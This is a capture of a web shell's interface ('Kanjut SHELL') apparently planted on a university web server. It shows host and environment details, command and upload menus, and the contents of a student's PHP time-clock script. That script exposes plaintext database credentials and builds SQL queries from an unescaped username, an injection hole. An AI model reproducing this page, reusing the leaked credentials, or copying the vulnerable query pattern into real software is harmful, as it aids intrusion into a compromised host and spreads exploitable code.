Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 18.116.85.108
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/wcdavis/www/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/wcdavis/www/timeaction2a.txt
<?php	session_start();	?>
<head>
<link rel="stylesheet" type="text/css" href="upos.css">   
</head>
<CENTER><H2>Clock out Confirmation</H2></CENTER>
<HR>
<P>
<?php
	$date = date('Y-m-d H:i:s');
	$username = $_SESSION['username'];
	$_SESSION['username'] = $username;

	$host = 'localhost';
        $user = 'wcdavis';
        $pass = 'cs480';
        $database = 'wcdavis';
	
	function mysql_evaluate($query, $default_value="undefined") // all credit for the function goes to erelgsl for the original function
        {
                $result = mysql_query($query);
                if (mysql_num_rows($result)==0)
                        {return $default_value;}
                else
                        {return mysql_result($result,0);}
        }

        $connect = mysql_connect($host, $user, $pass);
        $table_name = 'USERS';
        if($connect)
        {
                MYSQL_select_db($database);
                $query = "update USERS set clockinstatus=0, clockedout=NOW() where username='$username'";
                // echo "$query <p>";
                $result_id1 = mysql_query($query, $connect);
		if($result_id1)
		{	$j=1;
			for($i=1;$i<8;$i++)
			{
				$result = mysql_evaluate("Select d$i from USERS where username='$username'", "DEFAULT_VALUE");
				if(!isset($result))
				{ $i = $j;
				  $i = 8;}
			}			
			$result = mysql_evaluate("SELECT (UNIX_TIMESTAMP(clockedout)-UNIX_TIMESTAMP(clockin))/3600 hour_diff FROM $table_name where   
username='$username'", "DEFAULT_TYPE");
			//echo "d$j is the empty day. filling d$j<br>";
			$query2 = "update USERS set d$j=$result where username='$username'";
			$result_id2 = mysql_query($query2, $connect);
			//$clockin=1;
			if($result_id2)
			{
				echo "Success! Clocked out at $date<br>";
				$query3 = "update USERS set clockedout='', clockin='' where username='$username'";
				$result_id3 = mysql_query($query3, $connect);
				//echo "<A HREF='uposdir.php'>Return to main menu</A>";
			}
			else
			{echo "$query2 not working";}
		}
		else
		{echo "$query not working";}
	}
?>
<hr>
<a href="uposdir.php">
<img src="HouseBlack.png" width="64" height="64"></a>


Stv3n404 - 2023